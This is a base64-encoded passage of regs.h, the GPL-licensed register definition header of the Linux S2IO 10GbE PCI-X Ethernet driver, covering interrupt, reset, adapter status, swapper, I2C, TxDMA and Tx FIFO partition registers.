AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAvKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiAqIHJlZ3MuaDogQSBMaW51eCBQ Q0ktWCBFdGhlcm5ldCBkcml2ZXIgZm9yIFMySU8gMTBHYkUgU2VydmVyIE5JQwogKiBDb3B5cmln aHQgMjAwMiBSYWdoYXZlbmRyYSBLb3VzaGlrIChyYWdoYXZlbmRyYS5rb3VzaGlrQHMyaW8uY29t KQoKICogVGhpcyBzb2Z0d2FyZSBtYXkgYmUgdXNlZCBhbmQgZGlzdHJpYnV0ZWQgYWNjb3JkaW5n IHRvIHRoZSB0ZXJtcyBvZgogKiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgKEdQTCks IGluY29ycG9yYXRlZCBoZXJlaW4gYnkgcmVmZXJlbmNlLgogKiBEcml2ZXJzIGJhc2VkIG9uIG9y IGRlcml2ZWQgZnJvbSB0aGlzIGNvZGUgZmFsbCB1bmRlciB0aGUgR1BMIGFuZCBtdXN0CiAqIHJl dGFpbiB0aGUgYXV0aG9yc2hpcCwgY29weXJpZ2h0IGFuZCBsaWNlbnNlIG5vdGljZS4gIFRoaXMg ZmlsZSBpcyBub3QKICogYSBjb21wbGV0ZSBwcm9ncmFtIGFuZCBtYXkgb25seSBiZSB1c2VkIHdo ZW4gdGhlIGVudGlyZSBvcGVyYXRpbmcKICogc3lzdGVtIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBH UEwuCiAqIFNlZSB0aGUgZmlsZSBDT1BZSU5HIGluIHRoaXMgZGlzdHJpYnV0aW9uIGZvciBtb3Jl IGluZm9ybWF0aW9uLgogKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwojaWZuZGVmIF9SRUdTX0gKI2RlZmluZSBf UkVHU19ICgojZGVmaW5lIFRCRCAwCgp0eXBlZGVmIHN0cnVjdCBfWEVOQV9kZXZfY29uZmlnIAp7 Ci8qIENvbnZlbnRpb246IG1IQUxfWFhYIGlzIG1hc2ssIHZIQUxfWFhYIGlzIHZhbHVlICovCgov KiBHZW5lcmFsIENvbnRyb2wtU3RhdHVzIFJlZ2lzdGVycyAqLwogICAgdTY0IGdlbmVyYWxfaW50 X3N0YXR1czsKI2RlZmluZSBHRU5fSU5UUl9UWFBJQyAgICAgICAgICAgICBCSVQoMCkKI2RlZmlu ZSBHRU5fSU5UUl9UWERNQSAgICAgICAgICAgICBCSVQoMSkKI2RlZmluZSBHRU5fSU5UUl9UWE1B QyAgICAgICAgICAgICBCSVQoMikKI2RlZmluZSBHRU5fSU5UUl9UWFhHWFMgICAgICAgICAgICBC SVQoMykKI2RlZmluZSBHRU5fSU5UUl9UWFRSQUZGSUMgICAgICAgICBCSVQoOCkKI2RlZmluZSBH RU5fSU5UUl9SWFBJQyAgICAgICAgICAgICBCSVQoMzIpCiNkZWZpbmUgR0VOX0lOVFJfUlhETUEg ICAgICAgICAgICAgQklUKDMzKQojZGVmaW5lIEdFTl9JTlRSX1JYTUFDICAgICAgICAgICAgIEJJ VCgzNCkKI2RlZmluZSBHRU5fSU5UUl9NQyAgICAgICAgICAgICAgICBCSVQoMzUpCiNkZWZpbmUg R0VOX0lOVFJfUlhYR1hTICAgICAgICAgICAgQklUKDM2KQojZGVmaW5lIEdFTl9JTlRSX1JYVFJB RkZJQyAgICAgICAgIEJJVCg0MCkKI2RlZmluZSBHRU5fRVJST1JfSU5UUiAgICAgICAgICAgICBH RU5fSU5UUl9UWFBJQyB8IEdFTl9JTlRSX1JYUElDIHwgXAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIEdFTl9JTlRSX1RYRE1BIHwgR0VOX0lOVFJfUlhETUEgfCBcCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgR0VOX0lOVFJfVFhNQUMgfCBHRU5fSU5UUl9SWE1B QyB8IFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHRU5fSU5UUl9UWFhHWFN8 IEdFTl9JTlRSX1JYWEdYU3wgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdF Tl9JTlRSX01DIAoKICAgIHU2NCBnZW5lcmFsX2ludF9tYXNrOwoKICAgIHU4CXVudXNlZDBbMHgx MDAgLSAweDEwXTsKCiAgICB1NjQgc3dfcmVzZXQ7Ci8qIFhHWFMgbXVzdCBiZSByZW1vdmVkIGZy b20gcmVzZXQgb25seSBvbmNlLiAqLwojZGVmaW5lIFNXX1JFU0VUX1hFTkEgICAgICAgICAgICAg IHZCSVQoMHhBNSwwLDgpCiNkZWZpbmUgU1dfUkVTRVRfRkxBU0ggICAgICAgICAgICAgdkJJVCgw eEE1LDgsOCkKI2RlZmluZSBTV19SRVNFVF9FT0kgICAgICAgICAgICAgICB2QklUKDB4QTUsMTYs OCkKI2RlZmluZSBTV19SRVNFVF9BTEwgICAgICAgICAgICAgICAoU1dfUkVTRVRfWEVOQSAgICAg fCAgIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU1dfUkVTRVRfRkxBU0gg ICAgfCAgIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU1dfUkVTRVRfRU9J KQojZGVmaW5lCVNXX1JFU0VUX1JBV19WQUwJCQkweEE1MDAwMDAwCS8qIFRoZSBTV19SRVNFVCBy ZWdpc3RlciBtdXN0IAoJCQkJCQkJCQkJCQlyZWFkIHRoaXMgdmFsdWUgYWZ0ZXIgYSAKCQkJCQkJ CQkJCQkJc3VjY2Vzc2Z1bCByZXNldC4gKi8KCQkJCQkJCQkJCQkJCgogICAgdTY0IGFkYXB0ZXJf c3RhdHVzOwojZGVmaW5lIEFEQVBURVJfU1RBVFVTX1RETUFfUkVBRFkgICAgICAgICAgQklUKDAp CiNkZWZpbmUgQURBUFRFUl9TVEFUVVNfUkRNQV9SRUFEWSAgICAgICAgICBCSVQoMSkKI2RlZmlu ZSBBREFQVEVSX1NUQVRVU19QRkNfUkVBRFkgICAgICAgICAgIEJJVCgyKQojZGVmaW5lIEFEQVBU RVJfU1RBVFVTX1RNQUNfQlVGX0VNUFRZICAgICAgQklUKDMpCiNkZWZpbmUgQURBUFRFUl9TVEFU VVNfUElDX1FVSUVTQ0VOVCAgICAgICBCSVQoNSkKI2RlZmluZSBBREFQVEVSX1NUQVRVU19STUFD X1JFTU9URV9GQVVMVCAgIEJJVCg2KQojZGVmaW5lIEFEQVBURVJfU1RBVFVTX1JNQUNfTE9DQUxf RkFVTFQgICAgQklUKDcpCiNkZWZpbmUgQURBUFRFUl9TVEFUVVNfUk1BQ19QQ0NfSURMRSAgICAg ICB2QklUKDB4RkYsOCw4KQojZGVmaW5lIEFEQVBURVJfU1RBVFVTX1JDX1BSQ19RVUlFU0NFTlQg ICAgdkJJVCgweEZGLDE2LDgpCiNkZWZpbmUgQURBUFRFUl9TVEFUVVNfTUNfRFJBTV9SRUFEWSAg ICAgICBCSVQoMjQpCiNkZWZpbmUgQURBUFRFUl9TVEFUVVNfTUNfUVVFVUVTX1JFQURZICAgICBC SVQoMjUpCiNkZWZpbmUgQURBUFRFUl9TVEFUVVNfTV9QTExfTE9DSyAgICAgICAgICBCSVQoMzAp CiNkZWZpbmUgQURBUFRFUl9TVEFUVVNfUF9QTExfTE9DSyAgICAgICAgICBCSVQoMzEpCgogICAg dTY0IGFkYXB0ZXJfY29udHJvbDsKI2RlZmluZSBBREFQVEVSX0NOVExfRU4gICAgICAgICAgICAg ICAgICAgIEJJVCg3KQojZGVmaW5lIEFEQVBURVJfRU9JX1RYX09OICAgICAgICAgICAgICAgICAg QklUKDE1KQojZGVmaW5lIEFEQVBURVJfTEVEX09OICAgICAgICAgICAgICAgICAgICAgQklUKDIz KQojZGVmaW5lIEFEQVBURVJfVURQSSh2YWwpICAgICAgICAgICAgICAgICAgdkJJVCh2YWwsMzYs NCkKI2RlZmluZSBBREFQVEVSX1dBSVRfSU5UICAgICAgICAgICAgICAgICAgIEJJVCg0OCkKI2Rl ZmluZSBBREFQVEVSX0VDQ19FTiAgICAgICAgICAgICAgICAgICAgIEJJVCg1NSkKCiAgICB1NjQg c2Vycl9zb3VyY2U7CiNkZWZpbmUgU0VSUl9TT1VSQ0VfUElDCQkJCQlCSVQoMCkKI2RlZmluZSBT RVJSX1NPVVJDRV9UWERNQQkJCQlCSVQoMSkKI2RlZmluZSBTRVJSX1NPVVJDRV9SWERNQQkJCQlC SVQoMikKI2RlZmluZSBTRVJSX1NPVVJDRV9NQUMgICAgICAgICAgICAgICAgIEJJVCgzKQojZGVm aW5lIFNFUlJfU09VUkNFX01DICAgICAgICAgICAgICAgICAgQklUKDQpCiNkZWZpbmUgU0VSUl9T T1VSQ0VfWEdYUyAgICAgICAgICAgICAgICBCSVQoNSkKI2RlZmluZQlTRVJSX1NPVVJDRV9BTlkJ CQkJCShTRVJSX1NPVVJDRV9QSUMJCXwgXAoJCQkJCQkJCQkJU0VSUl9TT1VSQ0VfVFhETUEJfCBc CgkJCQkJCQkJCQlTRVJSX1NPVVJDRV9SWERNQQl8IFwKCQkJCQkJCQkJCVNFUlJfU09VUkNFX01B QwkJfCBcCgkJCQkJCQkJCQlTRVJSX1NPVVJDRV9NQyAgICAgIHwgXAoJCQkJCQkJCQkJU0VSUl9T T1VSQ0VfWEdYUykKCQkJCQkKCiAgICB1OAl1bnVzZWRfMFsweDgwMC0weDEyMF07CgovKiBQQ0kt WCBDb250cm9sbGVyIHJlZ2lzdGVycyAqLwogICAgdTY0IHBpY19pbnRfc3RhdHVzOwogICAgdTY0 IHBpY19pbnRfbWFzazsKI2RlZmluZSBQSUNfSU5UX1RYICAgICAgICAgICAgICAgICAgICAgQklU KDApCiNkZWZpbmUgUElDX0lOVF9GTFNIICAgICAgICAgICAgICAgICAgIEJJVCgxKQojZGVmaW5l IFBJQ19JTlRfTURJTyAgICAgICAgICAgICAgICAgICBCSVQoMikKI2RlZmluZSBQSUNfSU5UX0lJ QyAgICAgICAgICAgICAgICAgICAgQklUKDMpCiNkZWZpbmUgUElDX0lOVF9HUElPICAgICAgICAg ICAgICAgICAgIEJJVCg0KQojZGVmaW5lIFBJQ19JTlRfUlggICAgICAgICAgICAgICAgICAgICBC SVQoMzIpCgogICAgdTY0IHR4cGljX2ludF9yZWc7CiAgICB1NjQgdHhwaWNfaW50X21hc2s7CiNk ZWZpbmUgUENJWF9JTlRfUkVHX0VDQ19TR19FUlIgICAgICAgICAgICAgICAgQklUKDApCiNkZWZp bmUgUENJWF9JTlRfUkVHX0VDQ19EQl9FUlIgICAgICAgICAgICAgICAgQklUKDEpCiNkZWZpbmUg UENJWF9JTlRfUkVHX0ZMQVNIUl9SX0ZTTV9FUlIgICAgICAgICAgQklUKDgpCiNkZWZpbmUgUENJ WF9JTlRfUkVHX0ZMQVNIUl9XX0ZTTV9FUlIgICAgICAgICAgQklUKDkpCiNkZWZpbmUgUENJWF9J TlRfUkVHX0lOSV9UWF9GU01fU0VSUiAgICAgICAgICAgQklUKDEwKQojZGVmaW5lIFBDSVhfSU5U X1JFR19JTklfVFhPX0ZTTV9FUlIgICAgICAgICAgIEJJVCgxMSkKI2RlZmluZSBQQ0lYX0lOVF9S RUdfVFJUX0ZTTV9TRVJSICAgICAgICAgICAgICBCSVQoMTMpCiNkZWZpbmUgUENJWF9JTlRfUkVH X1NSVF9GU01fU0VSUiAgICAgICAgICAgICAgQklUKDE0KQojZGVmaW5lIFBDSVhfSU5UX1JFR19Q SUZSX0ZTTV9TRVJSICAgICAgICAgICAgIEJJVCgxNSkKI2RlZmluZSBQQ0lYX0lOVF9SRUdfV1JD X1RYX1NFTkRfRlNNX1NFUlIgICAgICBCSVQoMjEpCiNkZWZpbmUgUENJWF9JTlRfUkVHX1JSQ19U WF9SRVFfRlNNX1NFUlIgICAgICAgQklUKDIzKQojZGVmaW5lIFBDSVhfSU5UX1JFR19JTklfUlhf RlNNX1NFUlIgICAgICAgICAgIEJJVCg0OCkKI2RlZmluZSBQQ0lYX0lOVF9SRUdfUkFfUlhfRlNN X1NFUlIgICAgICAgICAgICBCSVQoNTApCi8qCiNkZWZpbmUgUENJWF9JTlRfUkVHX1dSQ19SWF9T RU5EX0ZTTV9TRVJSICAgICAgQklUKDUyKQojZGVmaW5lIFBDSVhfSU5UX1JFR19SUkNfUlhfUkVR X0ZTTV9TRVJSICAgICAgIEJJVCg1NCkKI2RlZmluZSBQQ0lYX0lOVF9SRUdfUlJDX1JYX1NQTElU X0ZTTV9TRVJSICAgICBCSVQoNTgpCiovCiAgICB1NjQgdHhwaWNfYWxhcm1zOwogICAgdTY0IHJ4 cGljX2ludF9yZWc7CiAgICB1NjQgcnhwaWNfaW50X21hc2s7CiAgICB1NjQgcnhwaWNfYWxhcm1z OwogICAgCiAgICB1NjQgZmxzaF9pbnRfcmVnOwogICAgdTY0IGZsc2hfaW50X21hc2s7CiNkZWZp bmUgUElDX0ZMU0hfSU5UX1JFR19DWUNMRV9GU01fRVJSICAgICAgICAgQklUKDYzKQojZGVmaW5l IFBJQ19GTFNIX0lOVF9SRUdfRVJSICAgICAgICAgICAgICAgICAgIEJJVCg2MikKICAgIHU2NCBm bGFzaF9hbGFybXM7CgogICAgdTY0IG1kaW9faW50X3JlZzsKICAgIHU2NCBtZGlvX2ludF9tYXNr OwojZGVmaW5lIE1ESU9fSU5UX1JFR19NRElPX0JVU19FUlIgICAgICAgICAgICAgIEJJVCgwKQoj ZGVmaW5lIE1ESU9fSU5UX1JFR19EVFhfQlVTX0VSUiAgICAgICAgICAgICAgIEJJVCg4KQojZGVm aW5lIE1ESU9fSU5UX1JFR19MQVNJICAgICAgICAgICAgICAgICAgICAgIEJJVCgzOSkKICAgIHU2 NCBtZGlvX2FsYXJtczsKICAgIAogICAgdTY0IGlpY19pbnRfcmVnOyAKICAgIHU2NCBpaWNfaW50 X21hc2s7IAojZGVmaW5lIElJQ19JTlRfUkVHX0JVU19GU01fRVJSICAgICAgICAgICAgICAgIEJJ VCg0KQojZGVmaW5lIElJQ19JTlRfUkVHX0JJVF9GU01fRVJSICAgICAgICAgICAgICAgIEJJVCg1 KQojZGVmaW5lIElJQ19JTlRfUkVHX0NZQ0xFX0ZTTV9FUlIgICAgICAgICAgICAgIEJJVCg2KQoj ZGVmaW5lIElJQ19JTlRfUkVHX1JFUV9GU01fRVJSICAgICAgICAgICAgICAgIEJJVCg3KQojZGVm aW5lIElJQ19JTlRfUkVHX0FDS19FUlIgICAgICAgICAgICAgICAgICAgIEJJVCg4KQogICAgdTY0 IGlpY19hbGFybXM7IAoKICAgIHU4CXVudXNlZDRbMHgwOF07CgogICAgdTY0IGdwaW9faW50X3Jl ZzsKICAgIHU2NCBncGlvX2ludF9tYXNrOwogICAgdTY0IGdwaW9fYWxhcm1zOwoKICAgIHU4CXVu dXNlZDVbMHgzOF07CgogICAgdTY0IHR4X3RyYWZmaWNfaW50OwojZGVmaW5lIFRYX1RSQUZGSUNf SU5UX24obikgICAgICAgICAgICAgICAgICAgIEJJVChuKQogICAgdTY0IHR4X3RyYWZmaWNfbWFz azsKCiAgICB1NjQgcnhfdHJhZmZpY19pbnQ7CiNkZWZpbmUgUlhfVFJBRkZJQ19JTlRfbihuKSAg ICAgICAgICAgICAgICAgICAgQklUKG4pCiAgICB1NjQgcnhfdHJhZmZpY19tYXNrOwoKLyogUElD IENvbnRyb2wgcmVnaXN0ZXJzICovCiAgICB1NjQgcGljX2NvbnRyb2w7CiNkZWZpbmUgUElDX0NO VExfUlhfQUxBUk1fTUFQXzEgICAgICAgICAgICAgICAgQklUKDApCiNkZWZpbmUgUElDX0NOVExf U0hBUkVEX1NQTElUUyhuKSAgICAgICAgICAgICAgdkJJVChuLDExLDQpCgogICAgdTY0IHN3YXBw ZXJfY3RybDsKI2RlZmluZSBTV0FQUEVSX0NUUkxfUElGX1JfRkUgICAgICAgICAgICAgICAgICBC SVQoMCkKI2RlZmluZSBTV0FQUEVSX0NUUkxfUElGX1JfU0UgICAgICAgICAgICAgICAgICBCSVQo MSkKI2RlZmluZSBTV0FQUEVSX0NUUkxfUElGX1dfRkUgICAgICAgICAgICAgICAgICBCSVQoOCkK I2RlZmluZSBTV0FQUEVSX0NUUkxfUElGX1dfU0UgICAgICAgICAgICAgICAgICBCSVQoOSkKI2Rl ZmluZSBTV0FQUEVSX0NUUkxfVFhQX0ZFICAgICAgICAgICAgICAgICAgICBCSVQoMTYpCiNkZWZp bmUgU1dBUFBFUl9DVFJMX1RYUF9TRSAgICAgICAgICAgICAgICAgICAgQklUKDE3KQojZGVmaW5l IFNXQVBQRVJfQ1RSTF9UWERfUl9GRSAgICAgICAgICAgICAgICAgIEJJVCgxOCkKI2RlZmluZSBT V0FQUEVSX0NUUkxfVFhEX1JfU0UgICAgICAgICAgICAgICAgICBCSVQoMTkpCiNkZWZpbmUgU1dB UFBFUl9DVFJMX1RYRF9XX0ZFICAgICAgICAgICAgICAgICAgQklUKDIwKQojZGVmaW5lIFNXQVBQ RVJfQ1RSTF9UWERfV19TRSAgICAgICAgICAgICAgICAgIEJJVCgyMSkKI2RlZmluZSBTV0FQUEVS X0NUUkxfVFhGX1JfRkUgICAgICAgICAgICAgICAgICBCSVQoMjIpCiNkZWZpbmUgU1dBUFBFUl9D VFJMX1RYRl9SX1NFICAgICAgICAgICAgICAgICAgQklUKDIzKQojZGVmaW5lIFNXQVBQRVJfQ1RS TF9SWERfUl9GRSAgICAgICAgICAgICAgICAgIEJJVCgzMikKI2RlZmluZSBTV0FQUEVSX0NUUkxf UlhEX1JfU0UgICAgICAgICAgICAgICAgICBCSVQoMzMpCiNkZWZpbmUgU1dBUFBFUl9DVFJMX1JY RF9XX0ZFICAgICAgICAgICAgICAgICAgQklUKDM0KQojZGVmaW5lIFNXQVBQRVJfQ1RSTF9SWERf V19TRSAgICAgICAgICAgICAgICAgIEJJVCgzNSkKI2RlZmluZSBTV0FQUEVSX0NUUkxfUlhGX1df RkUgICAgICAgICAgICAgICAgICBCSVQoMzYpCiNkZWZpbmUgU1dBUFBFUl9DVFJMX1JYRl9XX1NF ICAgICAgICAgICAgICAgICAgQklUKDM3KQojZGVmaW5lIFNXQVBQRVJfQ1RSTF9YTVNJX0ZFICAg ICAgICAgICAgICAgICAgIEJJVCg0MCkKI2RlZmluZSBTV0FQUEVSX0NUUkxfWE1TSV9TRSAgICAg ICAgICAgICAgICAgICBCSVQoNDEpCiNkZWZpbmUgU1dBUFBFUl9DVFJMX1NUQVRTX0ZFICAgICAg ICAgICAgICAgICAgQklUKDQ4KQojZGVmaW5lIFNXQVBQRVJfQ1RSTF9TVEFUU19TRSAgICAgICAg ICAgICAgICAgIEJJVCg0OSkKCiAgICB1NjQgcGlmX3JkX3N3YXBwZXJfZmI7CiNkZWZpbmUgSUZf UkRfU1dBUFBFUl9GQiAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAxMjM0NTY3ODlBQkNE RUYKCiAgICB1NjQgc2NoZWR1bGVkX2ludF9jdHJsOwojZGVmaW5lIFNDSEVEX0lOVF9DVFJMX1RJ TUVSX0VOICAgICAgICAgICAgICAgIEJJVCgwKQojZGVmaW5lIFNDSEVEX0lOVF9DVFJMX09ORV9T SE9UICAgICAgICAgICAgICAgIEJJVCgxKQojZGVmaW5lIFNDSEVEX0lOVF9DVFJMX0lOVDJNU0kg ICAgICAgICAgICAgICAgIFRCRAojZGVmaW5lIFNDSEVEX0lOVF9QRVJJT0QgICAgICAgICAgICAg ICAgICAgICAgIFRCRAoKICAgIHU2NCB0eHJlcXRpbWVvdXQ7CiNkZWZpbmUgVFhSRVFUT19WQUwo dmFsKQkJCQkJCXZCSVQodmFsLDAsMzIpCiNkZWZpbmUgVFhSRVFUT19FTgkJCQkJCQkJQklUKDYz KQoKICAgIHU2NCBzdGF0c3JlcXRpbWVvdXQ7CiNkZWZpbmUgU1RBVFJFUVRPX1ZBTChuKSAgICAg ICAgICAgICAgICAgICAgICAgVEJECiNkZWZpbmUgU1RBVFJFUVRPX0VOICAgICAgICAgICAgICAg ICAgICAgICAgICAgQklUKDYzKQoKICAgIHU2NCByZWFkX3JldHJ5X2RlbGF5OwogICAgdTY0IHJl YWRfcmV0cnlfYWNjZWxlcmF0aW9uOwogICAgdTY0IHdyaXRlX3JldHJ5X2RlbGF5OwogICAgdTY0 IHdyaXRlX3JldHJ5X2FjY2VsZXJhdGlvbjsKCiAgICB1NjQgeG1zaV9jb250cm9sOwogICAgdTY0 IHhtc2lfYWNjZXNzOwogICAgdTY0IHhtc2lfYWRkcmVzczsKICAgIHU2NCB4bXNpX2RhdGE7Cgog ICAgdTY0IHJ4X21hdDsKCiAgICB1OAl1bnVzZWQ2WzB4OF07CgogICAgdTY0IHR4X21hdDBfNzsK ICAgIHU2NCB0eF9tYXQ4XzE1OwogICAgdTY0IHR4X21hdDE2XzIzOwogICAgdTY0IHR4X21hdDI0 XzMxOwogICAgdTY0IHR4X21hdDMyXzM5OwogICAgdTY0IHR4X21hdDQwXzQ3OwogICAgdTY0IHR4 X21hdDQ4XzU1OwogICAgdTY0IHR4X21hdDU2XzYzOwoKICAgIHU4CXVudXNlZF8xWzB4MTBdOwoK ICAgIC8qIEF1dG9tYXRlZCBzdGF0aXN0aWNzIGNvbGxlY3Rpb24gKi8KICAgIHU2NCBzdGF0X2Nm ZzsKI2RlZmluZSBTVEFUX0NGR19TVEFUX0VOICAgICAgICAgICBCSVQoMCkKI2RlZmluZSBTVEFU X0NGR19PTkVfU0hPVF9FTiAgICAgICBCSVQoMSkKI2RlZmluZSBTVEFUX0NGR19TVEFUX05TX0VO ICAgICAgICBCSVQoOCkKI2RlZmluZSBTVEFUX0NGR19TVEFUX1JPICAgICAgICAgICBCSVQoOSkK I2RlZmluZSBTVEFUX1RSU0ZfUEVSKG4pICAgICAgICAgICBUQkQKI2RlZmluZQlQRVJfU0VDCQkJ CQkgICAweDIwOGQ1CiNkZWZpbmUJU0VUX1VQRFRfUEVSSU9EKG4pCQkgICB2QklUKChQRVJfU0VD Km4pLDMyLDMyKQoKICAgIHU2NCBzdGF0X2FkZHI7CgogICAgLyogR2VuZXJhbCBDb25maWd1cmF0 aW9uICovCiAgICB1NjQgbWRpb19jb250cm9sOwoKICAgIHU2NCBkdHhfY29udHJvbDsKCiAgICB1 NjQgaTJjX2NvbnRyb2w7CiNkZWZpbmUJSTJDX0NPTlRST0xfREVWX0lEKGlkKQkJdkJJVChpZCwx LDMpCiNkZWZpbmUJSTJDX0NPTlRST0xfQUREUihhZGRyKQkJdkJJVChhZGRyLDUsMTEpCiNkZWZp bmUJSTJDX0NPTlRST0xfQllURV9DTlQoY250KQl2QklUKGNudCwyMiwyKQojZGVmaW5lCUkyQ19D T05UUk9MX1JFQUQJCQlCSVQoMjQpCiNkZWZpbmUJSTJDX0NPTlRST0xfTkFDSwkJCUJJVCgyNSkK I2RlZmluZQlJMkNfQ09OVFJPTF9DTlRMX1NUQVJUCQl2QklUKDB4RSwyOCw0KQojZGVmaW5lCUky Q19DT05UUk9MX0NOVExfRU5EKHZhbCkJKHZhbCAmIHZCSVQoMHgxLDI4LDQpKQojZGVmaW5lCUky Q19DT05UUk9MX0dFVF9EQVRBKHZhbCkJKHUzMikodmFsICYgMHhGRkZGRkZGRikKI2RlZmluZQlJ MkNfQ09OVFJPTF9TRVRfREFUQSh2YWwpCXZCSVQodmFsLDMyLDMyKQoKICAgIHU2NCBncGlvX2Nv bnRyb2w7CgogICAgdTgJdW51c2VkN1sweDYwMF07CgovKiBUeERNQSByZWdpc3RlcnMgKi8KICAg IHU2NCB0eGRtYV9pbnRfc3RhdHVzOwogICAgdTY0IHR4ZG1hX2ludF9tYXNrOwojZGVmaW5lIFRY RE1BX1BGQ19JTlQgICAgICAgICAgICAgICAgICBCSVQoMCkKI2RlZmluZSBUWERNQV9UREFfSU5U ICAgICAgICAgICAgICAgICAgQklUKDEpCiNkZWZpbmUgVFhETUFfUENDX0lOVCAgICAgICAgICAg ICAgICAgIEJJVCgyKQojZGVmaW5lIFRYRE1BX1RUSV9JTlQgICAgICAgICAgICAgICAgICBCSVQo MykKI2RlZmluZSBUWERNQV9MU09fSU5UICAgICAgICAgICAgICAgICAgQklUKDQpCiNkZWZpbmUg VFhETUFfVFBBX0lOVCAgICAgICAgICAgICAgICAgIEJJVCg1KQojZGVmaW5lIFRYRE1BX1NNX0lO VCAgICAgICAgICAgICAgICAgICBCSVQoNikKICAgIHU2NCBwZmNfZXJyX3JlZzsKICAgIHU2NCBw ZmNfZXJyX21hc2s7CiAgICB1NjQgcGZjX2Vycl9hbGFybTsKCiAgICB1NjQgdGRhX2Vycl9yZWc7 CiAgICB1NjQgdGRhX2Vycl9tYXNrOwogICAgdTY0IHRkYV9lcnJfYWxhcm07CiAgICAKICAgIHU2 NCBwY2NfZXJyX3JlZzsKICAgIHU2NCBwY2NfZXJyX21hc2s7CiAgICB1NjQgcGNjX2Vycl9hbGFy bTsKCiAgICB1NjQgdHRpX2Vycl9yZWc7CiAgICB1NjQgdHRpX2Vycl9tYXNrOwogICAgdTY0IHR0 aV9lcnJfYWxhcm07CgogICAgdTY0IGxzb19lcnJfcmVnOwogICAgdTY0IGxzb19lcnJfbWFzazsK ICAgIHU2NCBsc29fZXJyX2FsYXJtOwoKICAgIHU2NCB0cGFfZXJyX3JlZzsKICAgIHU2NCB0cGFf ZXJyX21hc2s7CiAgICB1NjQgdHBhX2Vycl9hbGFybTsKCiAgICB1NjQgc21fZXJyX3JlZzsKICAg IHU2NCBzbV9lcnJfbWFzazsKICAgIHU2NCBzbV9lcnJfYWxhcm07CgogICAgdTggdW51c2VkOFsw eDEwMC0weEI4XTsKCi8qIFR4RE1BIGFyYml0ZXIgKi8KICAgIHU2NCB0eF9kbWFfd3JhcF9zdGF0 OwoKLyogVHggRklGTyBjb250cm9sbGVyICovCiNkZWZpbmUgWF9NQVhfRklGT1MgICAgICAgICAg ICAgICAgICAgICAgICA4CiNkZWZpbmUgWF9GSUZPX01BWF9MRU4gICAgICAgICAgICAgICAgICAg ICAweDFGRkYgLyo4MTkxKi8KICAgIHU2NCB0eF9maWZvX3BhcnRpdGlvbl8wOwojZGVmaW5lIFRY X0ZJRk9fUEFSVElUSU9OX0VOICAgICAgICAgICAgICAgQklUKDApCiNkZWZpbmUgVFhfRklGT19Q QVJUSVRJT05fMF9QUkkodmFsKSAgICAgICB2QklUKHZhbCw1LDMpCiNkZWZpbmUgVFhfRklGT19Q QVJUSVRJT05fMF9MRU4odmFsKSAgICAgICB2QklUKHZhbCwxOSwxMykKI2RlZmluZSBUWF9GSUZP X1BBUlRJVElPTl8xX1BSSSh2YWwpICAgICAgIHZCSVQodmFsLDM3LDMpCiNkZWZpbmUgVFhfRklG T19QQVJUSVRJT05fMV9MRU4odmFsKSAgICAgICB2QklUKHZhbCw1MSwxMyAgKQoKICAgIHU2NCB0 eF9maWZvX3BhcnRpdGlvbl8xOwojZGVmaW5lIFRYX0ZJRk9fUEFSVElUSU9OXzJfUFJJKHZhbCkg ICAgICAgdkJJVCh2YWwsNSwzKQojZGVmaW5lIFRYX0ZJRk9fUEFSVElUSU9OXzJfTEVOKHZhbCkg ICAgICAgdkJJVCh2YWwsMTksMTMpCiNkZWZpbmUgVFhfRklGT19QQVJUSVRJT05fM19QUkkodmFs KSAgICAgICB2QklUKHZhbCwzNywzKQojZGVmaW5lIFRYX0ZJRk9fUEFSVElUSU9OXzNfTEVOKHZh bCkgICAgICAgdkJJVCh2YWwsNTEsMTMpCgogICAgdTY0IHR4X2ZpZm9fcGFydGl0aW9uXzI7CiNk ZWZpbmUgVFhfRklGT19QQVJUSVRJT05fNF9QUkkodmFsKSAgICAgICB2QklUKHZhbCw1LDMpCiNk ZWZpbmUgVFhfRklGT19QQVJUSVRJT05fNF9MRU4odmFsKSAgICAgICB2QklUKHZhbCwxOSwxMykK I2RlZmluZSBUWF9GSUZPX1BBUlRJVElPTl81X1BSSSh2YWwpICAgICAgIHZCSVQodmFsLDM3LDMp CiNkZWZpbmUgVFhfRklGT19QQVJUSVRJT05fNV9MRU4odmFsKSAgICAgICB2QklUKHZhbCw1MSwx MykKCiAgICB1NjQgdHhfZmlmb19wYXJ0aXRpb25fMzsKI2RlZmluZSBUWF9GSUZPX1BBUlRJVElP Tl82X1BSSSh2YWwpICAgICAgIHZCSVQodmFsLDUsMykKI2RlZmluZSBUWF9GSUZPX1BBUlRJVElP Tl82X0xFTih2YWwpICAgICAgIHZCSVQodmFsLDE5LDEzKQojZGVmaW5lIFRYX0ZJRk9fUEFSVElU SU9OXzdfUFJJKHZhbCkgICAgICAgdkJJVCh2YWwsMzcsMykKI2RlZmluZSBUWF9GSUZPX1BBUlRJ VElPTl83X0xFTih2YWwpICAgICAgIHZCSVQodmFsLDUxLDEzKQoKI2RlZmluZSBUWF9GSUZPX1BB UlRJVElPTl9QUklfMCAgICAgICAgICAgICAgICAgMCAvKiBoaWdoZXN0ICovCiNkZWZpbmUgVFhf 